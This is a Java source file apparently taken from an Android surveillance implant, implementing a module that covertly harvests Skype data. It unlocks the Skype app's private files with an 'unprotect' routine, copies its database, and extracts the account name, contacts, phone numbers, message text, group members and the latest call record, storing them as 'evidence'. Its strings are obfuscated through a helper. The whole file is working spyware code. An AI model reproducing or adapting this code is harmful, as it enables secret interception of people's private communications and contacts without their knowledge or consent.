package com.android.dvci.module.chat; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Date; import java.util.List; import java.util.concurrent.Semaphore; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import android.database.Cursor; import com.android.dvci.auto.Cfg; import com.android.dvci.db.GenericSqliteHelper; import com.android.dvci.db.RecordVisitor; import com.android.dvci.file.Path; import com.android.dvci.manager.ManagerModule; import com.android.dvci.module.ModuleAddressBook; import com.android.dvci.module.call.CallInfo; import com.android.dvci.util.Check; import com.android.dvci.util.StringUtils; import com.android.mm.M; public class ChatSkype extends SubModuleChat { private static final String TAG = "ChatSkype"; private static final int PROGRAM = 0x01; String pObserving = M.e("com.skype"); private Date lastTimestamp; Semaphore readChatSemaphore = new Semaphore(1, true); ChatGroups groups = new ChatSkypeGroups(); public static String dbDir = M.e("/data/data/com.skype.raider/files"); @Override public int getProgramId() { return PROGRAM; } @Override String getObservingProgram() { return pObserving; } @Override void notifyStopProgram(String processName) { try { readSkypeMessageHistory(); } catch (Exception e) { if (Cfg.DEBUG_SPECIFIC) { Check.log(TAG + " (notifyStopProgram) Error: " + e); } } } @Override protected void start() { try { readSkypeMessageHistory(); } catch (Exception e) { if (Cfg.DEBUG_SPECIFIC) { Check.log(TAG + " (start) Error: " + e); } } } @Override protected void stop() { if (Cfg.DEBUG) { Check.log(TAG + " (stop), "); } } private void readSkypeMessageHistory() throws IOException { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages)"); } if (!readChatSemaphore.tryAcquire()) { if (Cfg.DEBUG) { Check.log(TAG + " (readSkypeMessageHistory), semaphore red"); } return; } try { // k_0=/data/data/com.skype.raider/files String account = readAccount(); if (account == null || account.length() == 0) return; if (Cfg.DEBUG) { Check.log(TAG + " (readSkypeMessageHistory) account: " + account); } long lastSkype = markup.unserialize(new Long(0)); if (Cfg.DEBUG) { Check.log(TAG + " (start), read lastSkype: " + lastSkype); } GenericSqliteHelper helper = openSkypeDBHelper(account); if (helper == null) { if (Cfg.DEBUG) { Check.log(TAG + " (readSkypeMessageHistory) Error, file not readable: " + account); } return; } try{ ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.SKYPE, account); if (ManagerModule.self().isInstancedAgent(ModuleAddressBook.class)) { saveSkypeContacts(helper); } long maxLast = 0; List<SkypeConversation> conversations = getSkypeConversations(helper, account); for (SkypeConversation sc : conversations) { String peer = sc.remote; if (Cfg.DEBUG) { Check.log(TAG + " (readSkypeMessageHistory) conversation: " + peer + " timestamp: " + new Date(sc.timestamp)); } groups = new ChatSkypeGroups(); if (sc.timestamp > lastSkype) { if (groups.isGroup(peer) && !groups.hasMemoizedGroup(peer)) { if (Cfg.DEBUG) { Check.log(TAG + " (readSkypeMessageHistory) fetch group: " + peer); } fetchGroup(helper, peer); } long lastTimestamp = fetchMessages(helper, sc, lastSkype); maxLast = Math.max(lastTimestamp, maxLast); } } if (maxLast > 0) { markup.serialize(maxLast); } } finally { helper.disposeDb(); } } finally { readChatSemaphore.release(); } } public static GenericSqliteHelper openSkypeDBHelper(String account) { // k_1=/main.db Path.unprotect(dbDir,true); if(account.contains(":")){ String name = account.split(":")[1]; File fileBaseDir = new File(dbDir); File[] files = fileBaseDir.listFiles(); for ( File f : files) { if(f.getName().contains(name)){ account = f.getName(); break; } } } String dbFile = dbDir + "/" + account + M.e("/main.db"); Path.unprotect(dbDir + "/" + account, true); Path.unprotect(dbFile, true); Path.unprotect(dbFile + M.e("-journal"), true); File file = new File(dbFile); GenericSqliteHelper helper = null; if (file.canRead()) { if (Cfg.DEBUG) { Check.log(TAG + " (readSkypeMessageHistory): can read DB"); } helper = GenericSqliteHelper.openCopy(dbFile); } return helper; } private void saveSkypeContacts(GenericSqliteHelper helper) { String[] projection = new String[] { M.e("id"), M.e("skypename"), M.e("fullname"), M.e("displayname"), M.e("pstnnumber") }; boolean tosave = false; RecordVisitor visitor = new RecordVisitor(projection, M.e("is_permanent=1")) { @Override public long cursor(Cursor cursor) { long id = cursor.getLong(0); String skypename = cursor.getString(1); String fullname = cursor.getString(2); String displayname = cursor.getString(3); String phone = cursor.getString(4); Contact c = new Contact(Long.toString(id), phone, skypename, M.e("Display name: ") + displayname); if (ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.SKYPE, c)) { if (Cfg.DEBUG) { Check.log(TAG + " (cursor) need to serialize"); } return 1; } return 0; } }; if (helper.traverseRecords("Contacts", visitor) == 1) { if (Cfg.DEBUG) { Check.log(TAG + " (saveSkypeContacts) serialize"); } ModuleAddressBook.getInstance().serializeContacts(); } } private List<SkypeConversation> getSkypeConversations(GenericSqliteHelper helper, final String account) { final List<SkypeConversation> conversations = new ArrayList<SkypeConversation>(); String[] projection = new String[] { M.e("id"), M.e("identity"), M.e("displayname"), M.e("given_displayname"), M.e("inbox_message_id"), M.e("inbox_timestamp") }; String selection = M.e("inbox_timestamp > 0 and is_permanent=1"); RecordVisitor visitor = new RecordVisitor(projection, selection) { @Override public long cursor(Cursor cursor) { SkypeConversation c = new SkypeConversation(); c.account = account; c.id = cursor.getInt(0); c.remote = cursor.getString(1); c.displayname = cursor.getString(2); c.given = cursor.getString(3); c.lastReadIndex = cursor.getInt(4); c.timestamp = cursor.getLong(5); conversations.add(c); return c.id; } }; helper.traverseRecords("Conversations", visitor); return conversations; } private long fetchMessages(GenericSqliteHelper helper, final SkypeConversation conversation, long lastTimestamp) { // select author, body_xml from Messages where convo_id == 118 and id >= // 101 and body_xml != '' try { final ArrayList<MessageChat> messages = new ArrayList<MessageChat>(); String[] projection = new String[] { M.e("id"), M.e("author"), M.e("body_xml"), M.e("timestamp") }; String selection = M.e("type == 61 and convo_id = ") + conversation.id + M.e(" and body_xml != '' and timestamp > ") + lastTimestamp; String order = M.e("timestamp"); RecordVisitor visitor = new RecordVisitor(projection, selection, order) { @Override public long cursor(Cursor cursor) { // I read a line in a conversation. int id = cursor.getInt(0); String peer = cursor.getString(1); String body = cursor.getString(2); // localtime or gmt? should be converted to gmt long timestamp = cursor.getLong(3); Date date = new Date(timestamp * 1000L); if (Cfg.DEBUG) { Check.log(TAG + " (cursor) sc.account: " + conversation.account + " conv.remote: " + conversation.remote + " peer: " + peer); } boolean incoming = !(peer.equals(conversation.account)); boolean isGroup = groups.isGroup(conversation.remote); if (Cfg.DEBUG) { Check.log(TAG + " (cursor) incoming: " + incoming + " group: " + isGroup); } String from, to = null; String fromDisplay, toDisplay = null; from = incoming ? peer : conversation.account; fromDisplay = incoming ? conversation.displayname : from; if (isGroup) { to = groups.getGroupToName(peer, conversation.remote); toDisplay = to; } else { to = incoming ? conversation.account : conversation.remote; toDisplay = incoming ? conversation.account : conversation.displayname; } if (!StringUtils.isEmpty(body)) { MessageChat message = new MessageChat(getProgramId(), date, from, fromDisplay, to, toDisplay, body, incoming); messages.add(message); } return timestamp; } }; // f_a=messages // M.d("messages") long newTimeStamp = helper.traverseRecords(M.e("messages"), visitor); if (messages != null && messages.size() > 0) { saveEvidence(messages); } return newTimeStamp; } catch (Exception e) { if (Cfg.DEBUG) { e.printStackTrace(); Check.log(TAG + " (fetchMessages) Error: " + e); } return -1; } } private void fetchGroup(GenericSqliteHelper helper, final String conversation) { String[] projection = new String[] { M.e("identity") }; String selection = M.e("chatname = '") + conversation + "'"; RecordVisitor visitor = new RecordVisitor(projection, selection) { @Override public long cursor(Cursor cursor) { String remote = cursor.getString(0); groups.addPeerToGroup(conversation, remote); return 0; } }; helper.traverseRecords(M.e("ChatMembers"), visitor); } public static String readAccount() { String confFile = dbDir + M.e("/shared.xml"); Path.unprotect(confFile, true); DocumentBuilder builder; String account = null; try { builder = DocumentBuilderFactory.newInstance().newDocumentBuilder(); Document doc = builder.parse(new File(confFile)); NodeList defaults = doc.getElementsByTagName(M.e("Default")); for (int i = 0; i < defaults.getLength(); i++) { Node d = defaults.item(i); Node p = d.getParentNode(); if (M.e("Account").equals(p.getNodeName())) { account = d.getFirstChild().getNodeValue(); break; } } } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (readAccount) Error: " + e); } } return account; } public void saveEvidence(ArrayList<MessageChat> messages) { getModule().saveEvidence(messages); } public static boolean getCurrentCall(GenericSqliteHelper helper, final CallInfo callInfo) { // select ca.id,identity,dispname,call_duration,cm.type,cm.start_timestamp,is_incoming from callmembers as cm join calls as ca on cm.call_db_id = ca.id order by ca.id desc limit 1 String sqlQuery= M.e("select ca.id,identity,dispname,call_duration,cm.type,cm.creation_timestamp,is_incoming,ca.begin_timestamp from callmembers as cm join calls as ca on cm.call_name = ca.name order by ca.begin_timestamp desc limit 1"); RecordVisitor visitor = new RecordVisitor() { @Override public long cursor(Cursor cursor) { callInfo.id = cursor.getInt(0); callInfo.peer = cursor.getString(1); callInfo.displayName = cursor.getString(2); int type = cursor.getInt(4); callInfo.timestamp = new Date(cursor.getLong(5)); callInfo.incoming = cursor.getInt(6) == 1; callInfo.valid = true; if (Cfg.DEBUG) { Check.log(TAG + " (getCurrentCall), timestamp: " + cursor.getLong(5) + " -> "+ callInfo.timestamp + "begin: " + cursor.getInt(7)); } return callInfo.id; } }; helper.traverseRawQuery(sqlQuery, new String[]{}, visitor); return callInfo.valid; } public class ChatSkypeGroups extends ChatGroups { @Override boolean isGroup(String peer) { return peer.startsWith("#"); } } }